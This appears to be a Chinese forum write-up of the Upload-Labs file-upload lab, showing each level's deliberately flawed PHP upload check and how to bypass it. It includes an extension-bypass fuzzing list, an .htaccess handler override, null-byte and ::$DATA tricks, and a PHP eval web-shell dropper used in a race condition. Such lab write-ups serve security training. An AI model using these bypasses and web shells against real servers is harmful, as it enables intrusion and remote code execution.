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  2. WEB安全
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【封神台】Upload-Labs wp
发表于: 2021-8-5 13:45 1700

【封神台】Upload-Labs wp

孤桜懶契 活跃值
2021-8-5 13:45
1700

前言

  • 掌控安全里面的靶场upload-labs，练练手！
  • 环境：http://59.63.200.79:8016/

pass-01

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function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
        alert(errMsg);
        return false;
    }
}
  • 没有对文件进行限制抓包改，需要注意一点的就是图片马多生成几个试吧，有的图片不太行

image-20210721181216739

image-20210721182048669

pass-02

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;
 
            }
        } else {
            $msg = '文件类型不正确，请重新上传！';
        }
    } else {
        $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建！';
    }
}
  • 只限制了content-type，并没有限制你改后缀名，和上题一样做法

pass-03

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
 
        if(!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
                 $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
                 $is_upload = true;
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}
  • 过滤了几个，可以用其他试试phtml、php3、php.a、shtml，提示：如果是asp的就可以用cer、asa、cdx等
 

image-20210721182725944

pass-04

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
 
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}
  • 基本上都过滤了，用.htaccess文件绕过吧
  • 这是解析漏洞 只有apache才有。
  • .htaccess文件(或者"分布式配置文件"）,全称是Hypertext Access(超文本入口)。
  • 提供了针对目录改变配置的方法， 即，在一个特定的文档目录中放置一个包含一个或多个指令的文件， 以作用于此目录及其所有子目录。作为用户，所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
  • 这个漏洞的原理就是服务器没有过滤htaccess文件的上传，而htaccess文件上传后，当前目录就会按照这个配置文件里面的内容执行。
1
AddType application/x-httpd-php .png

image-20210723070156817

pass-05

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
 
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}
  • 过滤了一堆，但是有的大小写没过滤完整，拿出字典看看，用PhP试试
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phtml
php
php3
php4
php5
inc 
pHtml
pHp
pHp3
pHp4
pHp5
iNc
iNc%00
iNc%20%20%20
iNc%20%20%20...%20.%20..
iNc......
inc%00
inc%20%20%20
inc%20%20%20...%20.%20..
inc......
pHp%00
pHp%20%20%20
pHp%20%20%20...%20.%20..
pHp......
pHp3%00
pHp3%20%20%20
pHp3%20%20%20...%20.%20..
pHp3......
pHp4%00
pHp4%20%20%20
pHp4%20%20%20...%20.%20..
pHp4......
pHp5%00
pHp5%20%20%20
pHp5%20%20%20...%20.%20..
pHp5......
pHtml%00
pHtml%20%20%20
pHtml%20%20%20...%20.%20..
pHtml......
php%00
php%20%20%20
php%20%20%20...%20.%20..
php......
php3%00
php3%20%20%20
php3%20%20%20...%20.%20..
php3......
php4%00
php4%20%20%20
php4%20%20%20...%20.%20..
php4......
php5%00
php5%20%20%20
php5%20%20%20...%20.%20..
php5......
phtml%00
phtml%20%20%20
phtml%20%20%20...%20.%20..
phtml......

image-20210723064040610

pass-06

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
 
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}
  • 过滤的比较全面就是没有去空格的函数，提示也说了空格绕过
 

image-20210723064311661

 

image-20210723064347289

pass-07

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
 
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}
  • 去了空格，过滤完美，提示说文件后缀点绕过，就在php后面加个.让他无法解析，就可以绕过了
 

image-20210723064834702

 

image-20210723064904118

pass-08

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
 
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}
  • 和前面的代码有点不同，没有去掉::$DATA字符流windows文件流绕过
 

image-20210723065223780

  • 执行的时候不带::$DATA就行了
 

image-20210723065257088

pass-09

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
 
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}
  • 黑名单机制+删除掉文件名最后一个点（若有的话），判断最后一位是不是点，字符串首尾去空。根据代码反向思考构造可以绕过的后缀为.php.空格.
  • 所以用.php.空格.就会删掉后面的点和去空格函数去掉但是还有一个.就形成绕过
 

image-20210723071200203

pass-10

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            $is_upload = true;
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

image-20210723071532566

  • 解析：只是单纯的对第一次发现php进行删除，但是构造一个双写php被删了之后还是可以绕过，例如pphphp=php，检测到php就删了但是又构成了一个php
 

image-20210723071709332

 

image-20210723071723356

pass-11

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$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
 
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上传失败！';
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}
  • 对文件名进行了随机，提示%00截断
 

image-20210723072504799

 

image-20210723072514895

pass-12

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$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
 
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

image-20210723073123544

 

image-20210723073233835

pass-13

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function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);   
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);   
    $fileType = '';   
    switch($typeCode){     
        case 255216:           
            $fileType = 'jpg';
            break;
        case 13780:           
            $fileType = 'png';
            break;       
        case 7173:           
            $fileType = 'gif';
            break;
        default:           
            $fileType = 'unknown';
        }   
        return $fileType;
}
 
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);
 
    if($file_type == 'unknown'){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}
  • 检查图片前两个字节直接合一个图片马解析漏洞，多试几个图片吧，有的图片过大或者过小里面包含着特殊内容的，都可以pass
 

image-20210723075037447

 

image-20210723075210279

pass-14

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function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}
 
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}
  • 只是换了个getimagesize的函数来判断图片类型，但是依旧是nginx的解析漏洞
 

image-20210723075327660

pass-15

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function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;   
        default:
            return false;
            break;
    }
}
 
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}
  • 换了个模块，不影响我们传马，解析

pass-16

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];
 
    $target_path=$UPLOAD_ADDR.basename($filename);
 
    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);
 
    //判断文件后缀与类型，合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);
 
            if($im == false){
                $msg = "该文件不是jpg格式的图片！";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagejpeg($im,$newimagepath);
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败！";
        }
 
    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);
 
            if($im == false){
                $msg = "该文件不是png格式的图片！";
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagepng($im,$newimagepath);
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;              
            }
        }
        else
        {
            $msg = "上传失败！";
        }
 
    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片！";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagegif($im,$newimagepath);
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败！";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
    }
}
  • 对图片进行二次渲染，先上传一个图片，再对比原来的图片，查看渲染的主要位置，然后再不会被渲染的位置加上一句话木马
 

image-20210723094040459

pass-17和pass-18条件竞争

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$is_upload = false;
$msg = null;
 
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = $UPLOAD_ADDR . '/' . $file_name;
 
    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传失败！';
    }
}
  • 利用php写的函数来进行强制访问生成
1
<?php file_put_contents('shell.php', '<?php eval($_REQUEST[2]);?>') ?>

pass-19

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 
        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
 
        if(!in_array($file_ext,$deny_ext)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
                $is_upload = true;
            }else{
                $msg = '上传失败！';
            }
        }else{
            $msg = '禁止保存为该类型文件！';
        }
 
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

  • 绕过方法：控制文件名字、或者控制文件夹的名字。

    • apache解析漏洞，保存为phpinfo.php.xxx
    • windows文件存储特性，加 .和空格
    • 00截断
    • /.，move_uploaded_file会忽略掉文件末尾的/.（和windows存储特性不同，这个是函数的特性）。
    • 通过BP 抓包，然后修改数据包 ：upload-20.php%00.jpg 在文件后缀加上jep ， 然后用 %00 进行截断。
    • 上传.php文件，保存为.jpg文件，上传成功；上传.jpg文件，保存为.php文件，上传失败。这样看来校验的应该是保存的文件名，那么又需要看是白名单校验还是黑名单校验，还是上传.php文件，随便输入一个保存的文件名，随便输入一个后缀名，或者是不写后缀名，保存成功。说明是黑名单验证。那黑名单验证就有太多的绕过方式了。
 

image-20210723104553232

 

image-20210723104606229

pass-20

image-20210723104950466

  • IIS6.0解析漏洞（一）：
    IIS6.0解析漏洞分两种
    1、目录解析
    以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。

    2、文件解析
    .asp;.jpg 像这种畸形文件名在“；”后面的直接被忽略，也就是说当成 .asp文件执行。
    IIS6.0 默认的可执行文件除了asp还包含这三种 .asa .cer *.cdx

 

image-20210723105417872

 

image-20210723105451696

  • 可以直接菜刀连asp

pass-21

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$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
&& in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "错误：: " . $_FILES["file"]["error"] . "";
    }
    else
    {
        echo "上传文件名: " . $_FILES["file"]["name"] . "";
        echo "文件类型: " . $_FILES["file"]["type"] . "";
        echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB";
 
        if (file_exists("./b/image/" . $_FILES["file"]["name"]))
        {
            echo $_FILES["file"]["name"] . " 文件已经存在。 ";
        }
        else
        {
            // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
            $ret = move_uploaded_file($_FILES["file"]["tmp_name"], "image/" . $_FILES["file"]["name"]);
            echo "文件存储在: " . "./b/image/" . $_FILES["file"]["name"];
        echo "";
        }
    }
}
else
{
    echo "非法的文件格式";
}
  • 白名单机制不影响;来截断进行getshell

pass-22

  • 直接上传一个图片，解析
 

image-20210723110211328

pass-23

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$allowedExts = array("jpg");
$time = time();
$temp = explode(".", $_FILES["file"]["name"]);
echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
&& in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "错误：: " . $_FILES["file"]["error"] . "";
    }
    else
    {
        echo "上传文件名: " . $_FILES["file"]["name"] . "";
        echo "文件类型: " . $_FILES["file"]["type"] . "";
        echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB";
 
        if (file_exists("C:/Inetpub/wwwroot/c/image/a.asp/" .$time.".jpg"))
        {
            echo $_FILES["file"]["name"] . " 文件已经存在。 ";
        }
        else
        {
            // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
            $ret = move_uploaded_file($_FILES["file"]["tmp_name"], "image/a.asp/".$time.".jpg");
            echo "文件存储在: " . "./c/image/a.asp/".$time.".jpg";
            echo "";
        }
    }
}
else
{
    echo "非法的文件格式";
}
  • 这题主要是教我们一个姿势，帮我们定好了文件名，上传一个包含asp一句话木马的图片
 

image-20210723111848603

  • 由此可以看出文件名中若是带有后缀asp的也可以在iis6.0中解析
 

image-20210723111907829

pass-24

  • 本题考查的是cgi解析漏洞：
    Nginx在图片中嵌入PHP代码然后通过访问
    xxx.jpg/1.php 来执行其中的代码，上传一个图片马php
 

image-20210723112427410

 

image-20210723112448518

 

image-20210723112502513

我的个人博客

孤桜懶契：http://gylq.github.io


[培训]《安卓高级研修班(网课)》月薪三万计划，掌握调试、分析还原ollvm、vmp的方法，定制art虚拟机自动化脱壳的方法

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